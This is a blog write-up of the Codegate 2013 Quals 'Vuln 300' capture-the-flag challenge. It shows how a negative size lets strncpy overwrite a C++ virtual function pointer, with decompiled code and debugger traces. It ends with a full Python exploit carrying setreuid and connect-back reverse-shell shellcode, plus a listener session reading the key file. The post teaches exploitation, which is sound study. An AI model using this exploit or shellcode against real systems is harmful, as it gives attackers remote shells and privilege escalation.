codezen.fr code hacking, zen coding

3Mar/13Off

Codegate 2013 Quals – Vuln 300 Write-up

This binary asks for a number and a string and outputs it. While playing with value, we notice a negative number for the number will crash the program.

$ nc 58.229.122.22 6666
Input Num : 32
Input Msg : TOTO
Reply :
ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`TOTO

$ nc 58.229.122.22 6666
Input Num : 2048
Input Msg : TOTO
Reply :
TOTO

$ nc 58.229.122.22 6666
Input Num : -1
Input Msg : TOTO

The reverse engineered main part of the program is as follow:

- We create a new objet myClass
- Set the virtual function pointer for the do_reply function.
- Get inputs from user
- Copy user data to myClass
- Call myClass->do_reply

int __cdecl handler()
{
  int myClass; // ebx@1
  int size; // ST10_4@1

  myClass = operator new();
  set_do_reply_ptr(myClass);
  printf("Input Num : ");
  fflush(stdout);
  sleep(2u);
  fgets(buffer, 2048, stdin);
  size = atoi(buffer);
  memset(buffer, 0, 2048u);
  printf("Input Msg : ");
  fflush(stdout);
  sleep(2u);
  fgets(buffer, 2048, stdin);
  fflush(stdout);
  do_copy(myClass, buffer, size);
  (**(void (__cdecl ***)(_DWORD))myClass)(myClass);
  return 0;
}

The copy function is below. What we want is trick strncpy in overwriting the first 4 bytes of myClass which contains the virtual function pointers to do_reply.

char *__cdecl do_copy(int dest, const char *src, signed int size)
{
  char *result; // eax@5

  if ( size > 2047 )
  {
    result = strcpy((char *)(dest + 4), src);
  }
  else
  {
    for ( i = 0; (size ^ (size >> 31)) - (size >> 31) > i; ++i )
      *(_BYTE *)(dest + i + 4) = i + 65;
    result = strncpy((char *)(dest + 4 + size), src, 2048 - ((size ^ (size >> 31)) - (size >> 31)));
  }
  return result;
}

If we use size = -4:

    for ( i = 0; (-4 ^ (-4 >> 31)) - (-4 >> 31) > i; ++i )
      *(_BYTE *)(dest + i + 4) = i + 65;
    result = strncpy((char *)(dest + 4 + -4), src, 2048 - ((-4 ^ (-4 >> 31)) - (-4 >> 31)));

-4 = b1111111111111111111111111111111111111111111111111111111111111100
-4 >> 31 = -1 = b1111111111111111111111111111111111111111111111111111111111111111

-4 ^ -1 = 3

So we can simplify the function as follow:

    for ( i = 0; (-4 ^ -1) - -1 > i; ++i )
      *(_BYTE *)(dest + i + 4) = i + 65;
    result = strncpy((char *)(dest + 4 + -4), src, 2048 - ((-4 ^ -1) - -1));

And even more:

    for ( i = 0; 4 > i; ++i )
      *(_BYTE *)(dest + i + 4) = i + 65;
    result = strncpy((char *)(dest), src, 2044);

strncpy will overwrite the beginning of myClass, bingo, we can control the virtual function pointer.

Let's check this with a debugger:

gdb$ run
Input Num : -4
Input Msg : ABCD
--------------------------------------------------------------------------[regs]
  EAX: 0x080491E0  EBX: 0x0804A008  ECX: 0x0804A00C  EDX: 0x0804A008  o d I t s z A P c
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF698  ESP: 0xBFFFF68C  EIP: 0x080488D5
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x80488d5: call   0x80485a8 <strncpy@plt>
   0x80488da: jmp    0x80488f1
   0x80488dc: mov    eax,DWORD PTR [ebp+0x8]
   0x80488df: lea    edx,[eax+0x4]
   0x80488e2: mov    eax,DWORD PTR [ebp+0xc]
   0x80488e5: mov    DWORD PTR [esp+0x4],eax
   0x80488e9: mov    DWORD PTR [esp],edx
   0x80488ec: call   0x80485f8 <strcpy@plt>
--------------------------------------------------------------------------------

Breakpoint 1, 0x080488d5 in ?? ()
gdb$ x/4x $esp
0xbffff68c: 0x0804a008  0x080491e0  0x000007fc  0xbffff6b8

Our calculations are correct, destination will be start of myClass.

Let's take a deeper look on how a virtual function call happends:

(**(void (__cdecl ***)(_DWORD))myClass)(myClass);

This translate in assembly to:

.text:08048825                 mov     eax, [ebp+var_C] ; myClass
.text:08048828                 mov     eax, [eax]       ; virtual function pointer offset
.text:0804882A                 mov     edx, [eax]       ; virtual function offset
.text:0804882C                 mov     eax, [ebp+var_C]
.text:0804882F                 mov     [esp], eax
.text:08048832                 call    edx              ; call virtual function

Lets check again with a debugger using -4 for size:

gdb$ run
Input Num : -4
Input Msg : ABCD

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 0x44434241  EBX: 0x0804A008  ECX: 0x000007F6  EDX: 0x000007F6  o d I t S z a p c
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF6B8  ESP: 0xBFFFF6A0  EIP: 0x0804882A
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x804882a: mov    edx,DWORD PTR [eax]
   0x804882c: mov    eax,DWORD PTR [ebp-0xc]
   0x804882f: mov    DWORD PTR [esp],eax
   0x8048832: call   edx
   0x8048834: mov    eax,0x0
   0x8048839: add    esp,0x14
   0x804883c: pop    ebx
   0x804883d: pop    ebp
--------------------------------------------------------------------------------
0x0804882a in ?? ()

Bingo. 'ABCD' (0x44434241) was written to the virtual function pointer.

Now it's only a matter of filling this buffer with a shellcode and jumping to it:

[A][B][SHELLCODE]

A will be the offset of B
B will be the offset of SHELLCODE

Since the binary is suid but is dropping privileges, we need to setreuid() to restore the suid user and access the key file.

import telnetlib
from struct import pack, unpack

# setreuid(geteuid())
shellcode = "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80"
# connectback port 45295
shellcode += "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02" \
    "\x51\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51\x68"
shellcode += chr(1) + chr(2) + chr(3) + chr(4) # your IP
shellcode += "\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

host = '58.229.122.22'
port = 6666

tn = telnetlib.Telnet(host, port)

tn.read_until("Input Num : ")
tn.write("-4\n")
tn.read_until("Input Msg : ")

buffer =  pack('<I', 0x080491E0 + 4) # virtual function pointer offset
buffer += pack('<I', 0x080491E0 + 8) # virtual function offset
buffer += shellcode
buffer += "\n"

print repr(buffer)

s = tn.get_socket()
s.send(buffer)

data = True
while data:
    data = s.recv(1024)
    if data:
        print data

Result:

$ nc -v -l -p 45295
id
uid=502(S74R) gid=501(star) groups=502(S74R),501(star)
pwd
/
cd /home/S74R
cat key
Victoria Secret show they miss me ;)
Share

Posted by aXs

Comments (0) Trackbacks (0)

Sorry, the comment form is closed at this time.

Trackbacks are disabled.